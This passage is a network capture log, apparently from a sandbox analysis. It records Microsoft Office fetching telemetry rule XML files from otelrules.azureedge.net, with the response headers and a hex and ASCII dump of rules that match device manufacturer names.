2024-10-31 10:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: bb81791c-801e-00ac-6687-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102803Z-17c5cb586f6jwd8h9y40tqxu5w00000000f0000000001w3f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102803Z-16849878b7867ttgfbpnfxt44s00000009c000000000069s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102803Z-16849878b78z2wx67pvzz63kdg000000083g000000000u40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fb99dfde-101e-0065-28dd-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102803Z-17c5cb586f672xmrz843mf85fn00000008dg000000001g80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 77d9d889-601e-003e-17d4-2a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102804Z-159b85dff8fsgrl7hC1DFWadan000000021g000000002tqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102804Z-17c5cb586f6f8m6jnehy0z65x400000008sg0000000048eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3601e2f9-501e-0064-27bd-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102804Z-17c5cb586f6f98jx9q4y7udcaw00000000yg0000000057q1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 17c5ef93-b01e-0001-0681-2a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102804Z-17c5cb586f6r59nt4rzfbx40ys00000001n0000000006u9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-16849878b78fhxrnedubv5byks00000007mg00000000et1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 74985455-e01e-00aa-1aa3-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-17c5cb586f6f98jx9q4y7udcaw000000010000000000356k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-16849878b78nzcqcd7bed2fb6n00000001t000000000awuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-16849878b78tg5n42kspfr0x4800000009b000000000bukz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
